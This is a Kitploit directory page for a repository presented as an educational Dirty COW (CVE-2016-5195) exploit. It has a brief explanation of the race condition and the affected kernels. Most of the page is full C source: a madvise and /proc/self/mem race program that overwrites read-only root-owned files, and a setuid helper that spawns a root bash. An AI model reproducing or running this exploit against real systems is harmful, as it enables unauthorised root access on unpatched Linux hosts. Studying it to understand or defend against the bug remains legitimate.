Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2016-5195 — Educational implementation of the Dirty COW (CVE-2016-5195) privilege escalation exploit, including race condition payload and SUID-based root shell escalation for Linux systems. | Kitploit
Tools/GitHubGitHub/kongqbin/cve-2016-5195
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubkongqbin/cve-2016-5195

CVE-2016-5195

Educational implementation of the Dirty COW (CVE-2016-5195) privilege escalation exploit, including race condition payload and SUID-based root shell escalation for Linux systems.

View Repository
211 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

This record is for learning purposes only; any illegal use is prohibited.

Principle

The vulnerability works by concurrently flushing dirty pages, causing the content of a file that was originally read-only to be modified. If the modified file is owned by root and has the SUID permission, it can be used for privilege escalation.

Affected Scope

  • Kernels compiled before October 2016 with versions between 2.6.22 and 4.8.3, because kernels after October 2016 have most likely been patched.
  • The file system must be Ext. If it is an XFS file system, the XFS read-only page assertion will be triggered, causing the system to reboot and turning this into a DDoS attack.

Tool Code (dirtycow_file_payload.c)

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

// Used to store the Payload content and size read from the file
char *payload_buf;
size_t payload_size;

// Thread B: continuously calls madvise to tell the kernel to discard this memory page
void *madviseThread(void *arg) {
	int i, c = 0;
	for(i = 0; i < 10000000; i++) {
		c += madvise(map, payload_size, MADV_DONTNEED);
	}
	printf("[-] madvise thread finished\n");
	return NULL;
}

// Thread A: continuously writes data to the read-only mapping via /proc/self/mem
void *procselfmemThread(void *arg) {
	int f = open("/proc/self/mem", O_RDWR);
	int i, c = 0;
	for(i = 0; i < 10000000; i++) {
		lseek(f, (uintptr_t) map, SEEK_SET);
		// Write the in-memory Payload buffer
		c += write(f, payload_buf, payload_size);
	}
	printf("[-] /proc/self/mem thread finished\n");
	return NULL;
}

int main(int argc, char *argv[]) {
	if (argc < 3) {
		printf("Usage: %s <read-only target file> <Payload input file>\n", argv[0]);
		return 1;
	}

	name = argv[1];
	char *payload_file = argv[2];

    // Open and read the Payload file content into memory
	int pf = open(payload_file, O_RDONLY);
	if (pf < 0) {
		perror("Failed to open Payload file");
		return 1;
	}
	struct stat pst;
	fstat(pf, &pst);
	payload_size = pst.st_size;

	if (payload_size == 0) {
		printf("[!] Payload file is empty\n");
		return 1;
	}

	payload_buf = malloc(payload_size);
	if (read(pf, payload_buf, payload_size) != payload_size) {
		perror("Failed to read Payload file");
		return 1;
	}
	close(pf);
	printf("[*] Successfully loaded Payload file: %s (size: %zu bytes)\n", payload_file, payload_size);

    // Map the target file
	f = open(name, O_RDONLY);
	if (f < 0) {
		perror("Failed to open target file");
		return 1;
	}
	fstat(f, &st);

	// Prevent Payload length from exceeding target file length
	if (payload_size > st.st_size) {
		printf("[!] Warning: Payload size (%zu) is larger than target file size (%zu).\n", payload_size, st.st_size);
		printf("[!] Due to Dirty COW's in-place overwrite behavior, the portion exceeding the target file size will be truncated and discarded by the file system!\n");
	}

	map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
	printf("[*] Target file mapping address: %p\n", map);

    // Start the race condition
	pthread_t pth1, pth2;
	printf("[*] Starting race condition...\n");
	pthread_create(&pth1, NULL, madviseThread, NULL);
	pthread_create(&pth2, NULL, procselfmemThread, NULL);

	pthread_join(pth1, NULL);
	pthread_join(pth2, NULL);

	printf("[*] Race finished, please check the content of %s.\n", name);
	free(payload_buf);
	return 0;
}

Privilege Escalation Code (up.c)

#include <unistd.h>
int main() {
	// Restore root identity
	setuid(0);
	setgid(0);
	// Spawn a root bash
	execl("/bin/bash", "bash", NULL);
	return 0;
}
Download Tool